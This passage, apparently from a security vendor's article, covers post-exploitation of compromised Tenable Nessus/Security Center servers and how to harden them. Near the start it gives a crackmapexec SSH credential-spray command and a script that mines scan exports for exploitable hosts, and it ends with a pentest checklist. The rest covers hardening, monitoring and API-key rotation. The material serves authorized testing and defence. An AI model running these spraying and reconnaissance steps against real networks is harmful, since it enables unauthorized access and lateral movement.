# Mass credential test against all scanned hosts
crackmapexec ssh {cidr_range} -u scan_user -p 'ExtractedPassword' --continue-on-success

Post-Exploitation Value

Compromising Tenable infrastructure provides an attacker with intelligence and access that would normally require extensive manual reconnaissance. The data is current, authoritative, and covers every system the organization considers in scope for security scanning.

Intelligence Value of Extracted Data

Extracting Actionable Intelligence from Scan Results

# Parse exported Nessus scan file for critical unpatched vulnerabilities
python3 << 'EOF'
import xml.etree.ElementTree as ET

tree = ET.parse('scan_results.nessus')
root = tree.getroot()

critical_findings = []
for report_host in root.iter('ReportHost'):
    hostname = report_host.get('name')
    for item in report_host.iter('ReportItem'):
        severity = int(item.get('severity', 0))
        if severity >= 3:  # High (3) or Critical (4)
            plugin_name = item.get('pluginName', '')
            port = item.get('port', '')
            protocol = item.get('protocol', '')
            cve_list = [cve.text for cve in item.iter('cve')]
            critical_findings.append({
                'host': hostname,
                'port': f"{port}/{protocol}",
                'plugin': plugin_name,
                'severity': severity,
                'cves': cve_list
            })

# Sort by severity descending
critical_findings.sort(key=lambda x: x['severity'], reverse=True)
for f in critical_findings[:50]:
    print(f"[{'CRIT' if f['severity']==4 else 'HIGH'}] {f['host']}:{f['port']} — {f['plugin']}")
    if f['cves']:
        print(f"  CVEs: {', '.join(f['cves'])}")
EOF

# Find hosts with specific vulnerability (e.g., EternalBlue MS17-010)
grep -A5 "MS17-010\|EternalBlue\|CVE-2017-0144" scan_results.nessus | grep "ReportHost\|pluginName"

# List all hosts with default credentials detected by Nessus
grep -B5 "default credentials\|Default Credentials" scan_results.nessus | grep "ReportHost"

Hardening and Remediation

Securing Tenable infrastructure requires treating it with the same rigor as any privileged management plane system — because in practice it is one.

Network Access Controls

Authentication and Access Management

# Enforce strong passwords on all Nessus/SC accounts
# Nessus 10.x: configure password complexity in /opt/nessus/etc/nessus/nessusd.conf
# Set: login_banner, max_hosts_per_scan, auth_type

# Enable API key expiration and rotation (Nessus 10.x+)
# In nessusd.conf: api_key_expiration_days = 90

# Restrict API access by IP (Tenable.sc)
# SC admin UI: System > Configuration > Security > Allowed IP Ranges

# Use role-based access control — limit who can view scan credentials
# Tenable.sc: Security Manager role cannot view credentials (only use them in scans)
# Audit who has Credential Manager or Administrator role in SC

# Enable multi-factor authentication (Tenable.io only)
# In Tenable.io: Settings > My Account > Two-Factor Authentication

Credential Management Best Practices

Monitoring and Detection

# Monitor Nessus API for bulk export events (potential data exfiltration)
# Nessus logs: /opt/nessus/var/nessus/logs/nessusd.messages
tail -f /opt/nessus/var/nessus/logs/nessusd.messages | grep -i "export\|download\|login"

# Alert on API calls from unexpected source IPs
# Nessus access log: /opt/nessus/var/nessus/logs/www_server.log

# Monitor for new user creation via API
# grep "POST /users" /opt/nessus/var/nessus/logs/www_server.log

# Monitor Tenable.sc for unusual bulk analysis queries
# SC audit logs: Admin > Audit Log in UI
# Or: /opt/sc/var/sc/logs/sc-app.log

# SIEM alert rules to implement:
# 1. Nessus login from non-management IP
# 2. Nessus scan export via API (not via UI)
# 3. Nessus API key generation event
# 4. New Nessus user created
# 5. Tenable.sc admin login from unusual location
# 6. Tenable.io API key used from new IP/country (Tenable.io login log in Settings)

Tenable.io API Key Security

# Generate API keys with least privilege (Tenable.io)
# In Tenable.io: My Account > API Keys > Generate
# Assign to user with appropriate role (not Administrator unless necessary)

# Rotate Tenable.io API keys via API
curl -X DELETE "https://cloud.tenable.com/users/{user_id}/keys" \
  -H "X-ApiKeys: accessKey=${ADMIN_ACCESS};secretKey=${ADMIN_SECRET}"

curl -X PUT "https://cloud.tenable.com/users/{user_id}/keys" \
  -H "X-ApiKeys: accessKey=${ADMIN_ACCESS};secretKey=${ADMIN_SECRET}"

# Audit all API keys in use
curl "https://cloud.tenable.com/users" \
  -H "X-ApiKeys: accessKey=${ACCESS_KEY};secretKey=${SECRET_KEY}" | python3 -c "
import sys, json
users = json.load(sys.stdin)
for u in users.get('users', []):
    print(f\"{u['username']} — Last activity: {u.get('lastlogin', 'never')} — Role: {u.get('role', '?')}\")
"

# Enable IP allowlisting for Tenable.io API access
# Settings > Access Control > IP Restrictions (Enterprise tier)

Automate Tenable Infrastructure Security Testing with Ironimo

Ironimo orchestrates authenticated scanning, credential auditing, and API security testing against Nessus, Tenable.sc, and Tenable.io deployments — identifying exposed management interfaces, weak credentials, and misconfigured API access before attackers find them.

Start free scan

Summary

Tenable Nessus and Security Center represent the highest-value targets in most enterprise environments — not because of the application's own vulnerabilities, but because of what they hold. The scanner knows every unpatched CVE across the entire infrastructure. The credential store unlocks SSH, Windows, SNMP, and database access to every scanned host. The network position permits reaching otherwise-isolated segments. A single compromised Nessus instance can become the master key for the entire organization.

For authorized penetration tests: fingerprint Nessus instances on port 8834, attempt credential spraying against the /session endpoint, enumerate all scans and scan targets via the REST API, attempt policy file access if code execution is achieved, and enumerate stored credential names to understand the attack surface. For Tenable.io, hunt for accessKey/secretKey pairs in source code repositories, CI/CD pipelines, and infrastructure-as-code files. A leaked Tenable.io API key is not just a Tenable security issue — it is a complete vulnerability disclosure for the entire cloud estate.

Defenders should treat Nessus scanners as Tier-0 assets equivalent to domain controllers: restrict network access, enforce strong authentication, rotate scan credentials regularly, and monitor the API for bulk export events. The irony of the world's leading vulnerability scanner being the most dangerous unmonitored system on the network is not lost on experienced security teams.